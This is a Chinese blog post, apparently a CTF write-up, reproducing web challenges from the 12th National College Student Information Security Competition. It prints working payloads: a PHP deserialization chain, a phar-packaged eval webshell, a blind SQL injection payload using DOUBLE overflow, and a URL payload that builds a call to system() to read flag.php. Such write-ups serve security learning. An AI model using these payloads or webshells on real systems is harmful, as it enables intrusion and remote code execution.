第12届全国大学生信息安全竞赛_WEB
前言
划水+1,激情复现
JustSoso
index.php文件中使用parse_url
对解析url中是否存在Flag,使用///
可绕过具体可参考:http://www.am0s.com/functions/406.html
hint.php反序列化会先调用__wakeup()
使得对象属性为NULL,绕过具体参考:https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/
token_flag由于每执行一次getFLag使得与token值不等。
借用PHP变量引用,$this->token = &$this->token_flag;即可绕过===判断
参考链接:https://blog.csdn.net/heiyeshuwu/article/details/748935
接着构造序列化。注意反序列化private特性生成的\0
全程使用python
进行解题,或者也可以手动添加\0
...
$f= new Flag("flag.php");
$f->token=&$f->token_flag;
$h= new Handle($f);
$h=serialize($h);
var_dump($h);
puython脚本运行结果如下
RefSpace
信息搜集
- robots.txt得到文件上传路径
- 构造路径其他路径包含,发现弹出可疑路径/ctf/
- 题目提示refname
- 伪协议读取index.php、、flag.php
考点refelect namespace
:https://php.net/manual/zh/language.namespaces.php
Up10aD.php
phar一句话木马构造
phar.php
$p=new PharData(dirname(__FILE__).’/phartest.zip’,0,’phartest’,Phar::ZIP);
$x=file_get_content(‘./test.php’);
$p->addFromString(‘test.php’,$x);
//文件重命名为phartest
test.php
<?php eval($_GET[‘mima’]); ?>
使用上述方法借助app/Up10aD.php上传phar包,利用app/index.php文件包含,蚁剑连接http://xxxx?route=phar://phartest.jpg/test
backup.zip中文件
我们的SDK通过如下SHA1算法验证key是否正确:
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}
如果正确的话,我们的SDK会返回flag。
PS: 为了节省各位大佬的时间,特注明
1.此处函数return值并不是真正的flag,和真正的flag没有关系。
2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。
flag.php
通过flag.php得到Flag的要求是满足Verify()
方法中的sha1()
判断。访问/ctf/目录看到sdk.php,文件相当于连接远程sdk的一个接口文件。题目提示可以想到考点是refelect namespace
PHP SDK使用例子:
https://help.aliyun.com/document_detail/70057.html
refelect namespace
在upload目录下构造文件,使用namespace interesting
引入模块,
重写sha1()
方法,类优先调用本命名空间的同名函数优。
将如下代码写入app/flag.php
namespace interesting;
function sha1($var) { // 调用类的私有、保护方法
$class = new \ReflectionClass('interesting\FlagSDK');
$method = $class->getMethod('getHash');
$method->setAccessible(true);
$instance = $class->newInstance();
return $method->invoke($instance);}
DEMO实验
可以发现sha1()
算法执行之后与send()
方法相同md5
相同
值得注意的是这里sha1
需要定义命名空间否则无法创建,会与php内置的方法冲突
世界上最简单的sql
过滤:| or sleep if benchmark case elt
题目要求输入帐号密码
输入过滤字符或者单引号,提示数据库链接失败,但是仍然无法使用报错语句注入。
输入正确字符,提示登录失败!!!
DOUBLE型溢出
power函数当第二个参数足够大,发生Double
溢出,mysql
报错。
round()
中添加判断语句
为真=>溢出
为假=>语法正确,返回1
payload
Payload:' ^ 1 and power((select version()),round(substr((select `2` from (select 1,2 union select * from user)a limit 1,1),%d,1)='%s')*1000)#"%(i,j)
写脚本,爆破出数据出数据库名字,但是由于or
过滤,无法使用information
依次取表和列。
无列名取值
select /1/
from (select 1,2,3 union select * from users)a;
使用select load_file(‘...’);
爆破文件无果,登录无果,脚本使用字符判断会忽略大小写问题,转用ASCII爆破。得到F1AG@1s-at_/fll1llag_h3r3
。
username:admin
password:F1AG@1s-at_/fll1llag_h3r3
登录成功之后,发现需要构造mysql伪服务器,读取文件。题目关了没复现完
love_math
环境:php>7.0
http://127.0.0.1/math.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac%20flag.php
tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上
payload等价:$pi=_GET;($_GET[pi])($_GET[abs])
参考链接
https://xz.aliyun.com/t/4906#toc-10
https://xz.aliyun.com/t/4904#toc-3
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!